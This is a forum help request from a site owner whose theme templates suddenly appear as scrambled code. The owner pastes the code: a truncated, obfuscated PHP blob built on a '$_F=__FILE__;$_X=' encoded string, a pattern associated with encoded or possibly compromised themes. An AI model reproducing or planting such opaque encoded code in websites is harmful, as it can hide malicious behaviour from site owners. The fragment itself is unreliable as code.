Appearance – Editor – cannot edit .php scrambled code

Really stuck!!!! Yesterday everything fine. Today we log in – go to Appearance – Editor – then click on any of the Templates on the right hand bar. Everything is different than yesterday. Shows as what I think is .php language I have copied and pasted what comes up (below). Please PLEASE can someone help. Thanks!

<?php $_F=__FILE__;$_X=’P3ROPy9NLw1xXSoqDXE1KjVKTSA1NCAuCiBnNWoyZzUyU2c1UU0gVCA9DXE1Kg1xNSo1b3lFL3YubEU1LnZ2NTJqNVFNIDVOTSAuCnQ1RSBmUXkydTUudQo1IG4gZ2xRTXl1dzVTLzVReXZ2NU4KeW41eQpyIlQueXUidA1xNSoNcTUqNUAvLmYwLncgNVYyZwo2ZyBFRQ1xNSo1QEVTRy8uZjAudyA1SkggdVFsX1p2IG4gdQ1xNSo1QEV5dWYgNUpIIHVRbDVadiBuIHU1Vz1DDXE1Kl0NcT90DXFOIW88TEppNlo1TVFUdnQNcU4hLS1JeWo1OVo1YT50DXFOTVFUdjV5CnIieSBhIjVOPy9NLzV2LnV3Uy53IF8uUVFneUdTUSBFKCk7NT90dA1xTiFJIHUKeWo+LS10DXFOIS0tSXlqNTlaNVI+dA1xTk1RVHY1eQpyInkgUiI1Tj8vTS81di51d1MudyBfLlFRZ3lHU1EgRSgpOzU/dHQNcU4hSSB1CnlqPi0tdA1xTiEtLUl5ajU5WjVYPnQNcU5NUVR2NXkKciJ5IFgiNU4/L00vNXYudXdTLncgXy5RUWd5R1NRIEUoKTs1P3R0DXFOIUkgdQp5aj4tLXQNcU4hLS1JeWo1ISg5WjVhKTV8NSEoOVo1Uik1fDUhKDlaNVgpNTU+dE4hLS10DXFOTVFUdjVOPy9NLzV2LnV3Uy53IF8uUVFneUdTUSBFKCk7NT90dA1xTiEtLU4hSSB1CnlqPi0tdA1xTk0gLgp0DXFOVCBRLjVmTS5nRSBRciJOPy9NLzVHdjJ3eXVqMig1J2ZNLmdFIFEnNSk7NT90IjVddA1xTlQgUS41dS5UIHIibnkgSC8yZ1EiNWYydVEgdVFyIkh5ClFNcgogbnlmIC1IeQpRTSI1XXQNcU5ReVF2IHROPy9NLw1xCV0qDXEJNSo1Nmd5dVE1UU0gNU5ReVF2IHQ1US53NUcuRSAKNTJ1NUhNLlE1eUU1RyB5dXc1bnkgSCAKPQ1xCTUqXQ1xCXd2MkcudjUkLy53ICw1JC8udyAKOw1xDXEJSC9fUXlRdiAoNSd8Jyw1UWdTICw1J2d5d01RJzUpOw1xDXEJXV01aAoKNVFNIDVHdjJ3NXUuVCA9DXEJR3Yyd3l1ajIoNSd1LlQgJzUpOw1xDXEJXV01aAoKNVFNIDVHdjJ3NQogRWZneS9ReTJ1NWoyZzVRTSA1TTJUIF1qZzJ1UTUvLncgPQ1xCSRFeVEgXwogRWZneS9ReTJ1NXI1dyBRX0d2Mnd5dWoyKDUnCiBFZmd5L1F5MnUnLDUnCnlFL3YubCc1KTsNcQl5ajUoNSRFeVEgXwogRWZneS9ReTJ1NSYmNSg1eUVfTTJUICgpNXx8NXlFX2pnMnVRXy8udyAoKTUpNSkNcQkJIGZNMjUiNXw1JEV5USBfCiBFZmd5L1F5MnUiOw1xDXEJXV01aAoKNS41Ly53IDV1U1RHIGc1eWo1dSBmIEVFLmdsOg1xCXlqNSg1JC8udyAKNXRyNTc1fHw1JC8udyA1dHI1NzUpDXEJCSBmTTI1JzV8NSc1PTVFL2d5dVFqKDVfXyg1JzYudyA1JUUnLDUnUUggdVFsIHYgbiB1JzUpLDVULkEoNSQvLncgCiw1JC8udyA1KTUpOw1xDXEJP3ROXVF5UXYgdA1xTnZ5dTA1ZyB2ciIvZzJqeXYgIjVNZyBqciJNUVEvOl1dd1Qvdz0yZ3ddQWp1XVdXIjVddA1xTiEtLXZ5dTA1ZyB2ciJFUWx2IEVNICBRIjVRbC8gciJRIEFRXWZFRSI1VCAKeS5yIi52diI1TWcganIiTj8vTS81R3Yyd3l1ajIoNSdFUWx2IEVNICBRX1Nndic1KTs1P3QiNV10DXFOdnl1MDVnIHZyIi95dXdHLmYwIjVNZyBqciJOPy9NLzVHdjJ3eXVqMig1Jy95dXdHLmYwX1Nndic1KTs1P3QiNV01LS10DXFOIS0tSXlqNXZRNTlaNVs+dA1xTkVmZ3kvUTVFZ2ZyIk4/L00vNSBmTTI1dyBRX1EgVC92LlEgXwp5ZyBmUTJnbF9TZ3koKTs1P3RdfUVdTVFUdmU9fUUiNVFsLyByIlEgQVFdfS5uLkVmZ3kvUSJ0Tl1FZmd5L1F0DXFOIUkgdQp5aj4tLXQNcU4/L00vDXEJXSo1ViA1LgoKNUUyVCA1Yy5uLnpmZ3kvUTVRMjUvLncgRTVIeVFNNVFNIDVmMlRUIHVRNWoyZ1QNcQk1KjVRMjVFUy8vMmdRNUV5USBFNUh5UU01UU1nIC4KIAo1ZjJUVCB1UUU1KEhNIHU1eXU1U0UgKT0NcQk1Kl0NcQl5ajUoNXlFX0V5dXdTdi5nKCk1JiY1dyBRXzIvUXkydSg1J1FNZyAuCl9mMlRUIHVRRSc1KTUpDXEJCUgvXyB1M1MgUyBfRWZneS9RKDUnZjJUVCB1US1nIC92bCc1KTsNcQ1xCV0qNWh2SC5sRTVNLm4gNUgvX00gLgooKTV9U0VRNUcgajJnIDVRTSA1ZnYyRXl1dzVOXU0gLgp0DXEJNSo1US53NTJqNWwyU2c1UU0gVCAsNTJnNWwyUzVIeXZ2NUdnIC4wNVQudWw1L3ZTd3l1RSw1SE15Zk0NcQk1KjV3IHUgZy52dmw1U0UgNVFNeUU1TTIyMDVRMjUuCgo1IHYgVCB1UUU1UTI1Tk0gLgp0NUVTZk0NcQk1KjUuRTVFUWx2IEUsNUVmZ3kvUUUsNS51CjVUIFEuNVEud0U9DXEJNSpdDXEJSC9fTSAuCigpOw1xP3QNcQ1xTnZ5dTA1UWwvIHIiUSBBUV1mRUUiNWcgdnIiRVFsdiBFTSAgUSI1TWcganIiTj8vTS81IGZNMjV3IFFfUSBUL3YuUSBfCnlnIGZRMmdsX1NneSgpOzU